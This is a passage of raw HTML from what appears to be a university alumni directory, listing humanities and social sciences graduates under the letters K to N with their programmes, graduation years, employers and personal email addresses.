style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Jamila Hasanova</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><h3 id=\"K\">K</h3><p><strong>Kanan Gulali </strong></p><p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>In a military service</p>\r\n<p><strong><br></strong></p><p><strong>Khadija Ismayilova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:khadijaismayilova@gmail.com\">khadijaismayilova[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Khazar Mammadli</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Khazar.mamedli@gmail.com\">Khazar.mamedli[at]gmail.com</a></p>\r\n<p>Warsaw, University of Finance and\r\nmanagement</p>\r\n<p><strong><br></strong></p><p><strong>Kamil Ibrahimov </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Politology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:kamil.ibrahimov.94@mail.ru\">kamil.ibrahimov.94[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Konul Mardanova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Linguistics, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Konul_merd@hotmail.com\">Konul_merd[at]hotmail.com</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kamala Huseynova&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Conflict\r\nStudies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master&nbsp;2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Khatai&nbsp;&nbsp;Yusubov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Law</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Sea Photo Studio photographer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Khataiyusubov@gmail.com\">Khataiyusubov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Khazar&nbsp;Azimov&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Central Election Commission </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:xazimov@yahoo.com\">xazimov@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Khadija Omarova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Xedice.omarova@gmail.ru\">Xedice.omarova@gmail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Khadija Ashurova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Parabank/HR specialist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:khadijaava@gmail.com\">khadijaava@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Khuraman Rahmanova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Khayala Amiraslanova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"L\">L</h3><p><strong>Leyla Ahmadova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>International Relations, 2017</p>\r\n<p>E-mail: <a href=\"mailto:akhmedovaleyla@gmail.com\">akhmedovaleyla[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Laman Zamanova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:lemanzamanovamj@gmail.com\">lemanzamanovamj[at]gmail.com</a> &nbsp;</p>\r\n<p>Caspian Energy European Club, assistant\r\ndesigner</p>\r\n<p><br></p>\r\n<p><strong>Laman Jabiyeva </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:leman.cebiyeva123@gmail.com\">leman.cebiyeva123[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Azizova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Huseynli&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Rahimova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Law and Social Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English language Instructor, Khazar University&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2002</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master &nbsp;2015</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rahimovaleyla@yahoo.com\">rahimovaleyla@yahoo.com</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong></strong></p><h3 id=\"M\"><strong>M</strong></h3><br><p><strong>Murad Balagadashov </strong></p><p>School of Humanities and Social Sciences</p>\r\n<p>Politology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Balagadashov.1@gmail.com\">Balagadashov.1[at]gmail.com</a></p>\r\n<p>Warsaw, University of Finance and\r\nmanagement</p>  <p><strong><br></strong></p><p><strong>Manzar Heybatova </strong></p><p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:manzar_heybatova@mail.ru\">manzar_heybatova[at]mail.ru</a> &nbsp;<a href=\"mailto:manzar.heybatova@gmail.com\">manzar.heybatova[at]gmail.com</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Matanat Kazimova</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Matanat.gva@mail.ru\">Matanat.gva[at]mail.ru</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Miragha Baghirov</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Miragha000@gamil.com\">Miragha000[at]gamil.com</a> &nbsp;</p>\r\n<p>In a military service</p>\r\n<p><strong><br></strong></p><p><strong>Mubariz Ismayilov </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Mubariz_350@mail.ru\">Mubariz_350[at]mail.ru</a> &nbsp;</p>\r\n<p>“Smart\r\nConstruction”, concrete manager</p>\r\n<p><strong><br></strong></p><p><strong>Maleykakhanim Jahangirli</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:jahangirova@outlook.com\">jahangirova[at]outlook.com</a>&nbsp;</p>\r\n<p>Tutor in Lankaran State University </p>\r\n<p><strong><br></strong></p><p><strong>Muhammad Dhany Afrihan</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>International Relations and Diplomacy,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:dhany.afrihan@gmail.com\">dhany.afrihan[at]gmail.com</a> <strong></strong></p>\r\n<p>Military Industry of Indonesia, advisor of IR of army and diplomacy</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mehman&nbsp;Abdulazizov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:mehman.abdulazizov@mail.ru\">mehman.abdulazizov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Matanat Ogtayzade&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Maharram Suleymanov &nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mahnur Hashimova</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mirjavad Mustafazade</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Miri.888@mail.ru\">Miri.888@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Maleyka Bayramova &nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Murad Rahimov</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Manana Pashayeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Law and Social Sciences,&nbsp;International Law</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Manager at Ram ltd Logistics&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mananapashayeva@gmail.com\">mananapaShayeva@gmail.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;2003&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Marina Latifova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\"><strong></strong></p><h3 id=\"N\"><strong>N</strong></h3><p style=\"background:undefined\"><strong>Nargiz Alakbarova</strong></p><p>School of Humanities and Social Sciences</p><p>Translation, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:alekperova.nargiz@mail.ru\">alekperova.nargiz[at]mail.ru</a></p><p><strong>&nbsp;</strong></p><p><strong>Nigar Huseynova</strong></p><p>School of Humanities and Social Sciences</p><p>Psychology, 2017</p>  <p><strong><br></strong></p><p><strong>Nazrin Fatali </strong></p><p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Nezrinfeteli@gmail.com\">Nezrinfeteli[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nahid Samadov</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Politology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nahid.samadov@hotmail.com\">nahid.samadov[at]hotmail.com</a></p>\r\n<p>In a military service</p>\r\n<p><strong><br></strong></p><p><strong>Nail Shukurov </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nail_shukurov@yahoo.com\">nail_shukurov[at]yahoo.com</a></p>\r\n<p>Warsaw, University of Finance and\r\nmanagement</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Nigar Fatizade </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nfetizade@mail.ru\">nfetizade[at]mail.ru</a> &nbsp;</p>\r\n<p>Gonül&amp;Lale Correction\r\nand Reabilitation Centre, ofifice manager</p>\r\n<p><strong><br></strong></p><p><strong>Nurana Hamidova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nurana.hamidova96@gmail.com\">nurana.hamidova96[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nigar Eyvazova</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Psychology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nigar96.ne@gmail.com\">nigar96.ne[at]gmail.com</a></p>\r\n<p>Uskudar University- Clinic psychology\\MA</p>\r\n<p><strong><br></strong></p><p><strong>Nargiz Rufullazade</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Nergizarif9@gmail.com\">Nergizarif9[at]gmail.com</a></p>\r\n<p>Caspian plaza&amp;Caspian Business\r\ncenter, manager andEnglish language teacher</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>&nbsp;<strong>Nurana Ismayilova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Linguistics, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nuranaavazli@gmail.com\">nuranaavazli@gmail.com</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nasiba Abdullazade</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Nasi-1994@live.ru\">Nasi-1994@live.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nijat Mammadov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Naila Omarova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azerbaijan Red Crescent Society Director of department of\r\ninternational relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:naila.omarova@yahoo.com\" target=\"_blank\">naila.omarova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nijat&nbsp;Rustamov&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Az-Granata MMC Direktor assistant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:strabon89@mail.ru\">strabon89@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmin Aliyeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Boshelf/HR</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:narminnaghibayli@gmail.com\">narminnaghibayli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nushaba Mammadli</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:mammadlinushaba@gmail.com\">mammadlinushaba@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nazrin Amishova&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nurana Guliyeva&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Clinical Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2014&nbsp;(Honor&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Naila&nbsp;Omarova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies, 2005-2009.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azerbaijan Red Crescent Society Director of department of\r\ninternational relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2014-present</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><a href=\"mailto:naila.omarova@yahoo.com\">naila.omarova@yahoo.com</a><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nargiz Mirzayeva&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">World Literature</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2011&nbsp;(Honor&nbsp;)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nigar Farmanova</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nasiba Taghiyeva&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012 (Honor)</p><hr noshade=\"noshade\" 